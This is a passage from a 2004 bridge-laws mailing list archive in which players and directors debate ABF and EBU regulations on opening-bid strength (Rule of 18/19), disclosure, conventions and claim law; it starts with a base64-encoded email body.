ABF Alerting Regulations In-Reply-To: <3FF955DE.6080408@hdw.be> Message-ID: SeKAmWQgbGlrZSB0byBwcm9wb3NlIHdoYXQgSSBjb25zaWRlciBhIHNpbXBsZSBhbmQgcmF0aGVy IGVsZWdhbnQgc29sdXRpb24gDQp0byB0aGUgd2hvbGUgcHJvYmxlbSBvZiDigJxib3VuZGFyeSBj b25kaXRpb25z4oCdLg0KDQpJZiB5b3UgZG9u4oCZdCBsaWtlIHRoZSBydWxlcywgaWdub3JlIHRo ZW0gYW5kIG9wZW4gd2hhdGV2ZXIgeW91IGRhbW4gd2VsbCANCnBsZWFzZS4gIElmIHlvdSB0aGlu ayB0aGF0DQoNClFKVDkNCktUOTgNCktUOQ0KVDkNCg0KSXMgYSByZWFzb25hYmxlIDEwLTEyIEhD UCAxTlQgb3BlbmluZywgdGhlbiBmZWVsIGZyZWUgdG8gb3BlbiBpdCANCnJlZ2FyZGxlc3Mgb2Yg d2hhdGV2ZXIgcmVndWxhdGlvbnMgdGhhdCB0aGUgQUNCTCBoYXMgaW4gcGxhY2UuICBPZiBjb3Vy c2UsIA0KeW91IHJ1biB0aGUgcmlzayBvZiB0aGUgRGlyZWN0b3IgYmVpbmcgY2FsbGVkLCBidXQg aXRzIG5vdCBsaWtlIGhlIGNhbiANCmFjdHVhbGx5IGRvIGFueXRoaW5nLiAgV2hhdOKAmXMgdGhl IHdvcnN0IHRoYXQgY291bGQgaGFwcGVuPyAgVGhlIERpcmVjdG9yIA0KbWlnaHQgYWRqdXN0IHlv dXIgc2NvcmUsIGJ1dCBJIHN1c3BlY3QgdGhhdCBhbnlvbmUgb24gdGhpcyBsaXN0IGlzIGNhcGFi bGUgDQpvZiBiYWNraW5nIG91dCBhbiBhZGp1c3RtZW50IGFuZCBjb21wdXRpbmcgd2hhdCB0aGVp ciBzY29yZSB3b3VsZCBiZSBpbiANCnRoZSBhYnNlbmNlIG9mIHNhaWQgYWRqdXN0bWVudC4gIFtT dXJlLCB5b3UgbWlnaHQgbm90IGJlIHdpbm5pbmcgYW55IA0KcHJlY2lvdXMgTWFzdGVycG9pbnRz LCBidXQgd2hvIGluIHRoZWlyIHJpZ2h0IG1pbmQgaXMgYWN0dWFsbHkgbW90aXZhdGVkIA0KYnkg dGhpcyB0eXBlIG9mIGVwaGVtZXJhbCBtYWxhcmtleT9dDQoNCklmIHRoZXNlIHR5cGVzIG9mIHNp dHVhdGlvbnMgaGFwcGVuZWQgd2l0aCBhbnkgcmVndWxhcml0eSwgeW91IG1pZ2h0IHJ1biANCnRo ZSByaXNrIG9mIGdldHRpbmcgYmFubmVkIGZyb20gZXZlbnRzLiAgSG93ZXZlciwgaWYgd2UgYXJl IFJFQUxMWSBqdWRnaW5nIA0Kd2l0aCBhIGJvdW5kYXJ5IGNvbmRpdGlvbiBpc3N1ZSB0aGVuIEkg ZG91YnQgdGhhdCB5b3Ugd2lsbCBnZXQgZGVhbHQgDQpzdWZmaWNpZW50IGhhbmRzIHRvIGVzdGFi bGlzaCBhbnkga2luZCBvZiBwcmVjZWRlbnQuDQoNCg0KIA0KUmljaGFyZCBXaWxsZXkNCg0KU3Ry YXRlZ2ljIE1hcmtldGluZw0KU3ltYW50ZWMgQ29ycG9yYXRpb24NCk9mZmljZToNCig0MDgpIDUx Ny03NzQwDQpJbnRlcm9mZmljZTogDQo2IFs0MDhdIDc3NDANCk1vYmlsZToNCig0MDgpIDQxMC03 MTEyDQo6IA0KSGFpbCBBbnRzDQoNCg0KDQo= From nigel.guthrie@ntlworld.com Mon Jan 5 19:19:40 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 5 Jan 2004 19:19:40 -0000 Subject: [blml] A Synod of Cooks Message-ID: <00e601c3d3c0$e0d8ec00$469468d5@tinyhrieuyik> Sorry Grattan, this was intended for list. >>> [Nigel] >>> "Fine if you are a TD/BLMLer. No use whatsoever to >>> 99% of players. Such clarifications are of academic >>> interest only until they are published in TFLB." >> [Grattan Endicott] >> +=+ Complain about that to your NBO. You are a >> member of an NBO; the NBO is a member of the WBF. >> The WBF is responsible for serving its members; in >> turn the *NBO* has the responsibility for serving *its* >> members. +=+ > [Nigel] > For years, The WBF has cast its pearls before NBOs -- > but NBOs rarely recognise them as of value; when they do, > they each interpret them in different ways and fail to > publicise them porperly. > Why oh why oh why make so many organisations do so much > work, to such small effect? It would take only moments > to incorporate such changes directly in place into TFLB > and publish them in HTML on the WBF website. Then, all > that NBOs would have to do is to provide a pernament link > to that document in the home-page of their web-sites. > Of course, NBOs *could* do more; but even this would > vastly improve information access for the ordinary player. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From richard_willey@symantec.com Mon Jan 5 19:28:39 2004 From: richard_willey@symantec.com (Richard Willey) Date: Mon, 5 Jan 2004 11:28:39 -0800 Subject: [blml] A Synod of Cooks In-Reply-To: <00e601c3d3c0$e0d8ec00$469468d5@tinyhrieuyik> Message-ID: I agree with Nigel that the WBF should use electronic publication as the primary vehicle to update TFLB. With that said and done, I think that this is a bit more complex. At the very least a good version control system should be considered mandatory. People need easy mechanisms to understand what changes were introduced when. Some sort of timeine is also highly desirable. Rules changes should be posted on date X with instructions that they will take effect on date Y. Richard Willey Strategic Marketing Symantec Corporation Office: (408) 517-7740 Interoffice: 6 [408] 7740 Mobile: (408) 410-7112 : Hail Ants From wayne.burrows@xtra.co.nz Mon Jan 5 19:43:29 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 6 Jan 2004 08:43:29 +1300 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <6dlivvc1dnhlul4gcfvr99tnipedev2qt0@4ax.com> Message-ID: <000001c3d3c4$384df630$03e536d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Brian Meadows > Sent: Tuesday, 6 January 2004 12:23 a.m. > To: blml@rtflb.org > Subject: Re: [blml] 2004 ABF Alerting Regulations > > > On Mon, 05 Jan 2004 10:16:45 +0100, Herman De Wael wrote: > > > > >> > >> They were applying it correctly and you were playing an illegal > >> system. > >> > > > >Please note this, Brian. > > Oh, I noted it all right, Herman. I also noted that David > distorted (I'm not saying intentionally) what I said before he > came up with this decision. I think that when he gets round to > reading what I said *accurately*, then he'll change his mind. > > At the risk of boring everyone, I am not arguing that you should > be able to upgrade EVERY hand that's one HCP (or Ro19 point) less > than the limit. I have not said that. > > I *am* arguing that if you have a hand which is reasonably worth > one HCP more than the strict Work count indicates by virtue of > the intermediate cards, then you SHOULD be allowed to use your > judgement to upgrade it, irrespective of whatever the opening bid > might be. I disagree. I would argue that a good player can use his superior judgement while a bad player is equally entitled to use his inferior judgement. It cannot be right for the regulations to legislate only good judgement. Wayne > > Brian. > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From wayne.burrows@xtra.co.nz Mon Jan 5 19:43:29 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 6 Jan 2004 08:43:29 +1300 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF943D6.4070203@hdw.be> Message-ID: <000101c3d3c4$42e26590$03e536d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Herman De Wael > Sent: Monday, 5 January 2004 11:01 p.m. > To: blml > Subject: Re: [blml] 2004 ABF Alerting Regulations > > > OK Wayne, > > Wayne Burrows wrote: > > > > >> > >>>>are not allowed to open systematically. > >>>>Please tell me how you are going to define "light hands". > >>>> > >>> > >>> > >>>I have this vague recollection that the phrase "Within a king of > >>>average strength" appears somewhere? > >>> > >> > >>And what is average strength? You still need to write out that one? > > > > > > If you use a "Rule of ..." as your method of 'judgement' then "Rule > > of 18.5" is close to average. > > > > Therefore Rule of 15 are legitimate and Rule of 16 are not. > > > > OK Wayne. > > Now you have defined what rules would be legitimate and which are not. > Just as an aside, the WBF seems to disagree with you. Not me - I said "If ..." > > But in any case, that does not answer the original question. > The original question was "how are you going to define light hands". > Your first reply was according to L40. > I asked "what is average strength?". > And your reply is a "rule of .." It doesn't matter. Except perhaps in 3rd seat I doubt that there would be many players that would object to a Rule of 15 (Rule of 16 is OK) Or 7 hcp (8hcp is ok) which are much nearer the L40D pronouncement of a King or more below average. > > So we are round. > I asked you if you could find a better way of describing light hands. > Apart from a change in the number, you could not. > > So we are back where we started. > > We agree that the banning of light natural openings is illegal > according to the letter of L40, but we realize that the WBF has > accepted that such banning is nevertheless acceptable. > We agree that the banning of light openings is unnecessary, but we > accept that this is out of our hands. > We agree that to base the definition of light openings on a > rule of .. > is very rough, but we also agree that we cannot find anything better. > > So what are we discussing, actually? We are discussing the inconsistency created by the WBF not strictly enforcing its own laws. Wayne > > > > Wayne > > > > > > > > > > _______________________________________________ > > blml mailing list > > blml@rtflb.org > > http://www.amsterdamned.org/mailman/listinfo/blml > > > > > > -- > Herman DE WAEL > Antwerpen Belgium > http://users.skynet.be/hermandw/index.html > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Mon Jan 5 23:29:19 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 09:29:19 +1000 Subject: [blml] Range restrictions Message-ID: Apologies for a very lengthy post. Best wishes RJH * * * Nigel Guthrie: >IMO... > >(1) The law is an ass to make strict rules about >(a) Milton HCP ranges for 10-12 notrumps (ACBL) >(b) Rule of 19 lower limits for opening bids (EBU) Richard James Hills: In my opinion, boundary conditions between legal and illegal openings need to be set. Such boundary conditions need to be easily understandable by the hoi polloi. Since the vast majority of the hoi polloi use the Milton Work point count, then the ACBL, EBU and ABF rules make practical sense, even though such rules are only a crude approximation of true hand evaluation. Edgar Kaplan's more accurate method of hand evaluation is impractical to embed in regulation - Jeff Rubens had to write a detailed computer program to simulate Edgar's thought processes. Nigel Guthrie: >(2) If we must have such rules, they should be in >the TFLB and apply universally Richard James Hills: Why? Bottom-up rules are preferred to top-down rules by the majority of players. There are many parochial bridge players, and correspondingly few xenophiles. Nigel Guthrie: >(unless specifically countermanded by an SO). Richard James Hills: In practice, all SOs will specifically countermand any generic hand evaluation rule, so a TFLB template would be inutile. Of course, if there were just one obvious and best hand evaluation method, then such a hand evaluation method could be included in TFLB as a best practice example. But, the circular debate by blmlers has not thrown up any such state-of-the- art hand evaluation method. The only factoid where there has been any sort of consensus on blml, is that some vocal blmlers insist on their right to open with sub-minimum values, no matter what the official minimum is defined as. Nigel Guthrie: >At present, most players are unaware of the >complexities and details because they vary from >place to place and year to year. In their current >form, their main utility is as a conversation piece >for BLMLers. Richard James Hills: "Most" is a sweeping generalisation. I cannot state what "most" players in the world are aware of. But I can provide information about what "most" players in Australia are likely to know. The ABF thoroughly publicises its Rule of 18 -> at the commencement of every ABF event, and on the ABF website, and in the free ABF Newsletter (distributed bimonthly to every ABF-affiliated club). Nigel Guthrie: >(3) But if law-makers are persuaded to make these >rules (bowing to Richard James Hills' putative >consensus of tyros), then players should abide >by them. > >(4) Bridge is a *game*. A game is its *rules*. To >waffle about superior *judgement* is mealy-mouthed >prevarication. In an earlier email, David Burn hit >the nail on the head: If you follow [snip] >'s advice, what's to stop you "judging" that eights >are worth two points each. If a TD points out that >this is ridiculous, you can remind him that such >judgements are subjective and that today's orthodoxy >is yesterday's heterodoxy. Richard James Hills: I totally agree with (3) and (4). I also have an additional supporting argument. In my opinion, merely because the Law is an ass, does not mean that the Law should be flouted. In my opinion, the correct protocol is to obey an asinine Law, but to campaign for the asinine Law to be amended. Nigel Guthrie: >(5) If you really are allowed to temper the EBU Orange >Book dictates with your own "judgments", then this >fact should be publicised; because currently there >are still a few masochistic players who handicap >themselves by slavishly following the regulations, >as written. Richard James Hills: I both agree and disagree. In Australia, I am not permitted to have an explicit or implicit partnership agreement to break the ABF Rule of 18. But I am permitted to use my judgement on very rare occasions, just as I am permitted to psyche on very rare occasions. Nigel Guthrie: >(6) (For some reason this next point seems to be >controversial). When asked to specify strength in >HCP, you shouldn't adjust for honour placement, >shape, texture and so on. For instance, if, in >practice, your notrump range is a good 14 to a >poor 18, then that is how you should describe it. >Not, for example, "15-17". Of course, you should >*qualify* your answer with any other requirements. >Full disclosure is especially important during the >play because the usual incomplete or inaccurate >explanation often leads the defence astray. > >(7) If your notrump opening is a notional 12-14, but >you would never open a poor 12 at the prevailing >adverse vulnerability, then you should divulge this >information when asked. Richard James Hills: A good point, but not good enough. If you never open a poor 12 at adverse vulnerability, that information *must* be given up-front disclosure on your system card. Nigel Guthrie: >Similar considerations apply to any propensity to >open 10-11 counts at favourable vulnerability. > >(8) To avoid making such admissions, some players >cite the infamous "General Knowledge and Experience" >get-out clause. That notorious legal device should >be expunged from the next revision of the laws. Richard James Hills: Or the "General Knowledge and Experience" get-out clause should be carefully and narrowly defined. Fortunately the ABF has so narrowly defined "General Knowledge and Experience", specifically excluding all partnership agreements from its get-out ambit. Nigel Guthrie: >To me this is so obvious that it is hardly worth >stating. In the past, however, such views have met >with a torrent of ridicule. At least they did >attract some attention. Recently my emails have >elicited only the occasional quibble. I accept >that there may be fundamental flaws in the >arguments. Of course, I welcome corrections. >Conversely, if you managed to read all of this and >agree with most of it, I would be grateful if you >would post a reply to that effect. Richard James Hills: I agree that the principle of full disclosure is a pillar of Duplicate Bridge. Like Nigel and David Stevenson, I am disappointed that some bridge players try to weasel out of their full disclosure obligations. -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon Jan 5 23:53:12 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 09:53:12 +1000 Subject: [blml] Ghestem [was 2004 ABF Alerting Regulations] Message-ID: Richard James Hills: >>>Similarly, when an opposing Aussie pair >>>announces that they use the Michaels Cuebid >>>convention, it is wise to ask, "Are you from >>>South Australia"? >>> >>>One of the plethora of texts about Michaels >>>is an Adelaide version, which defines (1D) - >>>2D as a two-suiter with clubs + a major. Grattan Endicott: >>+=3D+ Possibly not correct to call it "Michaels >>Cuebid" then? >> ~ G ~ +=3D+ William Shakespeare: >What's in a name? A rose by any other name >would smell as sweet. Richard James Hills: I would argue that the meaning of the name Michaels Cuebid depends upon the local environment. For example, in ACBL-land, a Michaels Cuebid of 2C or 2D is often used as a waiting bid with strongish hands holding 5/4 or 4/5 in the majors. But in non-Adelaide Australia, a Michaels Cuebid of 2C or 2D guarantees 5/5 in the majors, and is not used with merely strongish hands - it is either weak, or alternatively it promises game-forcing strength. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Jan 6 00:11:19 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 10:11:19 +1000 Subject: [blml] Cooper echo Message-ID: >>#%# Okay, sophistry argument number two. Grattan >>has been quoting from the Law 68A definition of a >>claim. But Law 68A also includes the catch-all >>exception: >> >>"(unless he demonstrably did not intend to claim)" >+=3D+ But that exclusion, in parenthesis, by the >construction of the sentence applies only to >"or when he shows his cards". > ~ Grattan ~ +=3D+ #%# Okay, sophistry argument number three. Law 68A defines that a claim has to fulfil at least one of three preconditions: (a) Any statement.....win a specific number of tricks..... (b) .....suggests that play be curtailed..... (c) .....shows.....cards (unless..... A Cooper Echo does not fit into categories (a) or (c). So, the only question remains, can a Cooper Echo be square-pegged into the round-hole of category (b)? { Richard } #%# -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From wayne.burrows@xtra.co.nz Mon Jan 5 23:29:38 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 6 Jan 2004 12:29:38 +1300 Subject: [blml] Range restrictions In-Reply-To: Message-ID: <001601c3d3e3$d1ce48e0$03e536d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of richard.hills@immi.gov.au > Sent: Tuesday, 6 January 2004 11:29 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions > > Richard James Hills: > > I both agree and disagree. In Australia, I am not > permitted to have an explicit or implicit partnership > agreement to break the ABF Rule of 18. But I am > permitted to use my judgement on very rare occasions, > just as I am permitted to psyche on very rare > occasions. The ABF system regulations that I am reading merely state that Rule of 18 classifies your system as Green (one of the requirements). If I break Rule of 18 then I have a Red or Yellow system. What am I missing? The regulation that a Rule of 17 opening or Rule of 14 two-level opener is a Yellow system is of course illegal. There is no mandate to regulate non-conventional one-level openings that are close to average opening hands nor is there a mandate to regulate non-conventional two-level and higher openings. Wayne From john@asimere.com Mon Jan 5 23:34:29 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 5 Jan 2004 23:34:29 +0000 Subject: [blml] Range restrictions In-Reply-To: <3FF97783.6060303@hdw.be> References: <78F8BDCF-3F0D-11D8-90BA-0030656F6826@rochester.rr.com> <011501c3d390$39a6f420$2a9468d5@tinyhrieuyik> <3FF97783.6060303@hdw.be> Message-ID: In article <3FF97783.6060303@hdw.be>, Herman De Wael writes >Need I say that I agree with Nigel 110% ? > >(well, actually only 98%, but for me, that is very much) > >Nigel Guthrie wrote: > >[read the original] > ... and I disagree with a sizeable chunk of it :) TD's are asked to make judgement rulings in many different areas of the game - and indeed UI judgement rulings frequently hinge on hand evaluation and an assessment of the judgement required to make the offending call or not. Whilst it is convenient for the White Book to quote a point figure, it is general bridge knowledge ( a phrase which is invaluable, since it marks out the difference between the expert and the tyro; whose GBK is probably zero ) that players use many methods to evaluate a hand, and where their judgement is that two hands of different hcp, are nonetheless worth the same call (what do you need to reverse for example is entirely judgement ) then who am I to argue, *unless* they have broken the Laws of Bridge, as opposed to applying judgement to a regulation. cheers john -- John (MadDog) Probst| . ! How could |AIM GL ChienFou 451 Mile End Road | /|__. you let |OKb ChienFou London E3 4PA | / @ __) DWS get |john@asimere.com +44-(0)20 8983 5818 | /\ --^ 0.49 mps |www.asimere.com From richard.hills@immi.gov.au Tue Jan 6 00:36:39 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 10:36:39 +1000 Subject: [blml] 2004 ABF Alerting Regulations Message-ID: Richard Willey: >>I'd like to propose what I consider a simple and >>rather elegant solution to the whole problem of >>"boundary conditions". >> >>If you don't like the rules, ignore them and open >>whatever you damn well please. [big snip] Law 72B2: >A player must not infringe a law intentionally, >even if there is a prescribed penalty he is >willing to pay. Scope and Interpretation of the Laws: [snip] >The strongest word, "must" ("before making a call, >he must inspect the face of his cards"), indicates >that violation is regarded as serious. Note that >"may" becomes very strong in the negative: "may >not" is a stronger injunction than "shall not", >just short of "must not". Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From john@asimere.com Mon Jan 5 23:37:27 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 5 Jan 2004 23:37:27 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF955DE.6080408@hdw.be> References: <000101c3d30a$21d77d50$602f37d2@Desktop> <3FF927E7.3080800@hdw.be> <3FF955DE.6080408@hdw.be> Message-ID: In article <3FF955DE.6080408@hdw.be>, Herman De Wael writes >OK Brian, I'll bite. > >Brian Meadows wrote: > >> >> >> No, Herman, it doesn't render it "non-existent". It leaves you >> with an awkward problem of how to decide whether a player's >> judgement is valid or not. The rule of 19 becomes a guideline, >> not a mathematical tool. >> >> For example, if I picked up my AJ1098 KJ109 10987 void >> and said that I judged the fillers made it worth a rule of 19 >> opener, then I think most people would agree with me. > >I will go even further and say that everyone would agree with you. > >> Make that >> hand QJ1098 KJ109 10987 void and you'd (quite rightly) >> decide that I was taking the piss if I tried to claim that it was >> a rule of 19 opener. >> > >I will go further than I wanted to, and say that 100% of the TD's in >the world would agree with someone who said that it would be taking >the piss. > >But between: > >AJ1098 KJ109 10987 void > >and > >QJ1098 KJ109 10987 void > >there is > >KJ1098 KJ109 10987 void I'd open a spade on all of them; they are, after all, all 7 loser hands (although the first is probably six losers). -- John (MadDog) Probst| . ! -^- |icq 10810798 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From richard.hills@immi.gov.au Tue Jan 6 00:58:42 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 10:58:42 +1000 Subject: [blml] Range restrictions Message-ID: Wayne Burrows: >The ABF system regulations that I am reading merely >state that Rule of 18 classifies your system as Green >(one of the requirements). If I break Rule of 18 then >I have a Red or Yellow system. What am I missing? Richard James Hills: The scribe who wrote the ABF system regs included unnecessarily limited redundancy in the definition of Blue, Red and Yellow systems. If a more complex colour code used the same rule as a less complex colour code, the ABF scribe merely inserted a cross-reference to the simpler colour code. So, the ABF Rule of 18 applies to Green, Blue and Red systems. Only Yellow systems are exempt from the Rule of 18. Wayne Burrows: >The regulation that a Rule of 17 opening or Rule of 14 >two-level opener is a Yellow system is of course illegal. > >There is no mandate to regulate non-conventional one-level >openings that are close to average opening hands nor is there >a mandate to regulate non-conventional two-level and higher >openings. Richard James Hills: I disagree with the question-begging "of course illegal". The ABF uses the same Law 40D gimmick that the ACBL and the EBU use to regulate systems - any non-Yellow system which infracts the Rule of 18 must be a non-Yellow system which uses *zero* conventions. No such non-conventional Aussie system yet exists. (Although I would not be surprised if an Aussie youth pair adopts a "no conventions" system for a future frolic.) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Jan 6 01:09:32 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 11:09:32 +1000 Subject: [blml] Ghestem [was 2004 ABF Alerting Regulations] Message-ID: Richard James Hills: [snip] >>For example, in ACBL-land, a Michaels Cuebid of >>2C or 2D is often used as a waiting bid with >>strongish hands holding 5/4 or 4/5 in the >>majors. [snip] Raija Davis: >This is news to me and I play in the ACBL land. >First time I ever heard of this treatment or >convention (which IMO should not be called >Michaels any more, given the different hand type >the cuebid describes) and I have not encountered >it at the table either. I do attend quite a few >tournaments, also across the US continent so not >just locally in the West where I live. > >I suppose definition of "often" needed. Richard James Hills: ACBL-land "often" =3D A call chosen by a significant expert minority in The Master Solvers' Club panel of The Bridge World magazine. Note: When Mike Michaels originally described his convention many decades ago, 5/4 distributions were permissible. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From wayne.burrows@xtra.co.nz Tue Jan 6 00:28:45 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 6 Jan 2004 13:28:45 +1300 Subject: [blml] Range restrictions In-Reply-To: Message-ID: <001701c3d3ec$0c645370$03e536d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On=20 > Behalf Of richard.hills@immi.gov.au > Sent: Tuesday, 6 January 2004 12:59 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions >=20 >=20 >=20 >=20 >=20 >=20 > Wayne Burrows: >=20 > >The ABF system regulations that I am reading merely > >state that Rule of 18 classifies your system as Green > >(one of the requirements). If I break Rule of 18 then > >I have a Red or Yellow system. What am I missing? >=20 > Richard James Hills: >=20 > The scribe who wrote the ABF system regs included > unnecessarily limited redundancy in the definition of > Blue, Red and Yellow systems. If a more complex colour > code used the same rule as a less complex colour code, > the ABF scribe merely inserted a cross-reference to the > simpler colour code. >=20 > So, the ABF Rule of 18 applies to Green, Blue and Red > systems. Only Yellow systems are exempt from the Rule > of 18. >=20 > Wayne Burrows: >=20 > >The regulation that a Rule of 17 opening or Rule of 14 > >two-level opener is a Yellow system is of course illegal. > > > >There is no mandate to regulate non-conventional one-level > >openings that are close to average opening hands nor is there > >a mandate to regulate non-conventional two-level and higher > >openings. >=20 > Richard James Hills: >=20 > I disagree with the question-begging "of course illegal". The > ABF uses the same Law 40D gimmick that the ACBL and the EBU > use to regulate systems - any non-Yellow system which infracts > the Rule of 18 must be a non-Yellow system which uses *zero* > conventions. No such non-conventional Aussie system yet > exists. (Although I would not be surprised if an Aussie youth > pair adopts a "no conventions" system for a future frolic.) I do not see this gimmick in the ABF regulations that I read at http://www.abf.com.au/events/tournregs/sysregs.pdf Where is the updated version found? Wayne >=20 > Best wishes >=20 > RJH > -------------------------------------------------------------- > ------------------------ > Important Warning: If you have received this email in error, please > advise the sender and delete the message and attachments=20 > immediately. =A0This > email, including attachments, may contain confidential,=20 > legally privileged > and/or copyright information, the unauthorised use of which=20 > is prohibited. > Any views expressed in this email are those of the individual sender, > except where the sender expressly, and with authority, states=20 > them to be > the view of the Department of Immigration and Multicultural=20 > and Indigenous > Affairs (DIMIA). =A0DIMIA respects your privacy and has=20 > obligations under the > Privacy Act 1988 (see www.immi.gov.au). > -------------------------------------------------------------- > ------------------------ >=20 >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml >=20 From richard.hills@immi.gov.au Tue Jan 6 01:41:44 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 11:41:44 +1000 Subject: [blml] Range restrictions Message-ID: John (MadDog) Probst: [snip] >Whilst it is convenient for the White Book to >quote a point figure, [snip] >then who am I to argue, *unless* they have broken >the Laws of Bridge, as opposed to applying >judgement to a regulation. cheers john Richard James Hills: An invalid argument. Law 40D gives the EBU regulatory powers sufficient to enforce a Rule of 18 or 19, according to the WBF LC. Therefore, an infraction of the EBU hand-evaluation White Book regulation is equivalent to an infraction of Law 40D. Any TD who does not enforce the EBU's Lawfully delegated regulatory power is in breach of that TD's obligations under Law 81B2. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Jan 6 01:50:37 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 11:50:37 +1000 Subject: [blml] Range restrictions Message-ID: Richard James Hills: >>I disagree with the question-begging "of course illegal". The >>ABF uses the same Law 40D gimmick that the ACBL and the EBU >>use to regulate systems - any non-Yellow system which infracts >>the Rule of 18 must be a non-Yellow system which uses *zero* >>conventions. No such non-conventional Aussie system yet >>exists. (Although I would not be surprised if an Aussie youth >>pair adopts a "no conventions" system for a future frolic.) Wayne Burrows: >I do not see this gimmick in the ABF regulations that I read at > >http://www.abf.com.au/events/tournregs/sysregs.pdf > >Where is the updated version found? Richard James Hills: The ABF does not *mention* the Law 40D gimmick in its system regulations. The ABF merely uses the Law 40D gimmick as the Lawful *authority* to create its system regulations. Naturally, the ABF system regulations are not applicable to any future 